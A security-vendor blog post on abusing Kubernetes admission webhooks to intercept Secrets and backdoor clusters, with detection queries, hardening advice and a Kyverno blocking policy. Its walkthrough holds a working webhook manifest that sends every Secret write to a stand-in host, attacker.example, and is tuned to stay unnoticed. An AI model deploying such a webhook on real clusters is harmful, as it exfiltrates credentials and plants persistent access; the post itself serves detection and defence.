Back to Blog
Attack Path · Admission Control

Malicious Admission
Webhooks

A single admission-webhook object is a live man-in-the-middle on every create and update the API server accepts — including every Secret, in plaintext. Whoever can create one has a cluster-wide tap and edit head, before RBAC on 'get secrets' ever applies. Here is the abuse, and how to shut it.

Riad DAHMANIk8sec Security ResearchAugust 202612 min readAdmission ControlPersistenceRBAC
Minimalist abstract hero: a breach trajectory piercing boundary rings into a core, representing a malicious admission webhook intercepting the API server

A Tap on the API Server

Admission webhooks are the extension point that makes Kubernetes policy engines work — Kyverno, Gatekeeper, service meshes, cert injectors all register one. They are also, from an attacker's seat, the single most valuable object in the cluster to control: a webhook is a man-in-the-middle on every write the API server accepts, including every Secret.

The permission to create a ValidatingWebhookConfiguration or MutatingWebhookConfiguration is cluster-scoped and quietly enormous. It doesn't grant access to one namespace's secrets — it grants a live feed of, and edit rights over, everything created or changed anywhere in the cluster.

Where Webhooks Sit

When a request survives authentication, authorization and object validation, the API server enters admission: it calls every matching mutating webhook (which can rewrite the object), persists nothing yet, runs validating webhooks (which can reject), and only then writes to etcd. A webhook receives the full object — a Secret's data, a Pod's env, a ServiceAccount's tokens — as plaintext JSON, over a callback the cluster initiates to a URL or Service you specify.

The Interception Point

CREATE / UPDATE incl. Secrets API SERVER admission phase MALICIOUS WEBHOOK sees plaintext mutates object exfil · inject · persist etcd persisted → attacker infra (secret leaves the cluster)
A webhook is not a plugin at the edge — it is a tap in the middle of the API server's write path, and every Secret write flows through it in cleartext.

Three Ways to Abuse It

Exfiltrate every secret
Register a webhook matching secrets (and configmaps, serviceaccounts). Every create/update ships the plaintext to attacker infra. No get secrets RBAC needed — the cluster hands them over.
Mutate silently
A mutating webhook injects a sidecar, an envFrom a hostPath mount, or swaps an image — into workloads cluster-wide, invisibly, at admission. Instant persistence and privilege.
Disable the defenders
Order and failurePolicy abuse: a malicious webhook that times out with failurePolicy: Ignore can be used to slip objects past — or set Fail on a bogus webhook to DoS the whole control plane.
Why it's stealthy
Webhooks live outside most people's mental model of "where secrets go". A single benign-looking config object is the entire backdoor — no malicious pod to spot.

Prerequisites

RBAC on webhook configscreate on validating/mutatingwebhookconfigurations.admissionregistration.k8s.io — often bundled into over-broad "admin" roles.
Egress or an in-cluster listenerA URL the API server can reach, or a Service/pod the attacker controls to receive the callbacks.
Broad match rulesThe attacker sets the rules — nothing stops resources: ["*"], operations: ["*"].
No webhook governanceNothing audits or restricts new webhook configurations.

Walkthrough: The Backdoor

the entire backdoor is one object (lab only)
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata: {name: metrics-collector}   # innocuous name
webhooks:
  - name: collect.metrics.local
    clientConfig:
      url: "https://attacker.example/collect"   # secrets stream here
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE","UPDATE"]
        resources: ["secrets"]                   # <-- every secret write
    failurePolicy: Ignore        # never break the cluster -> stay unnoticed
    sideEffects: None
    admissionReviewVersions: ["v1"]

It validates nothing and rejects nothing — it just reads. Because failurePolicy: Ignore, if the attacker endpoint is down the cluster shrugs and moves on; nobody notices a "policy" that never blocks.

Detection

config audit
Any webhook whose clientConfig.url is external, or whose rules include secrets / *. Inventory them and match against your known policy controllers. High.
k8s-audit
create/update on *webhookconfigurations by a non-platform identity. High.
network
API-server egress to an unexpected host during admission callbacks. Medium.
audit: list every webhook, its target and its reach
# flag external URLs and secret-scoped rules
kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations -o json \
 | jq -r '.items[] | .metadata.name as $n
     | .webhooks[]
     | [$n, (.clientConfig.url // "svc:"+(.clientConfig.service.name // "?")),
        ([.rules[].resources[]] | join(","))] | @tsv' \
 | grep -Ei 'https?://|secret|\*'

Hardening

  • Lock down the RBAC. create/update/delete on *webhookconfigurations is a cluster-admin-grade verb — grant it to platform controllers only, never to app or CI roles. Audit who has it today.
  • Govern webhooks with a webhook. Use Kyverno/Gatekeeper to deny new webhook configs with external URLs, secrets/* rules, or unknown names — policy policing policy.
  • Constrain scope. Legitimate webhooks should carry a tight namespaceSelector/objectSelector and a Service (not a URL); anything broader is a smell.
  • Encrypt at rest + limit token exposure so a webhook feed is not the only thing standing between an attacker and your secrets.
kyverno: block risky admission webhooks
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata: {name: restrict-admission-webhooks}
spec:
  validationFailureAction: Enforce
  rules:
    - name: no-external-or-secret-webhooks
      match:
        any:
          - resources:
              kinds:
                - ValidatingWebhookConfiguration
                - MutatingWebhookConfiguration
      validate:
        message: "Webhooks must target an in-cluster Service and must not match secrets/*."
        deny:
          conditions:
            any:
              - key: "{{ request.object.webhooks[].clientConfig.url | length(@) }}"
                operator: GreaterThan
                value: 0
              - key: "{{ contains(to_string(request.object.webhooks[].rules[].resources), 'secrets') }}"
                operator: Equals
                value: true

Most teams threat-model who can get secrets. Almost nobody threat-models who can create validatingwebhookconfigurations — yet the second is strictly more powerful, because it intercepts the secrets before RBAC on get ever applies. Treat webhook-configuration verbs as the cluster-admin equivalents they are, inventory every webhook you didn't install, and make policy police policy. The backdoor here isn't a payload you can scan for — it's a single trusted-looking object, and the only defense is knowing it's there.

— k8sec Security Research

Know every admission webhook — and who can create one.

K8SEC inventories mutating/validating webhooks, flags external targets and secret-scoped rules, and maps who holds webhook-configuration verbs — so the cluster's most powerful backdoor can't hide.

Explore K8SEC

Sources: Kubernetes documentation on dynamic admission control (mutating/validating webhooks, failurePolicy, matching); public research on admission-controller abuse for persistence and secret exfiltration; MITRE ATT&CK for Containers (T1556 Modify Authentication Process, persistence via admission control). Mechanism is per upstream docs; the backdoor example is a defender-side illustration.

On this page

Contents

A tap on the API serverWhere webhooks sitThe interception pointThree ways to abuse itPrerequisitesWalkthrough: the backdoorDetectionHardeningFinal word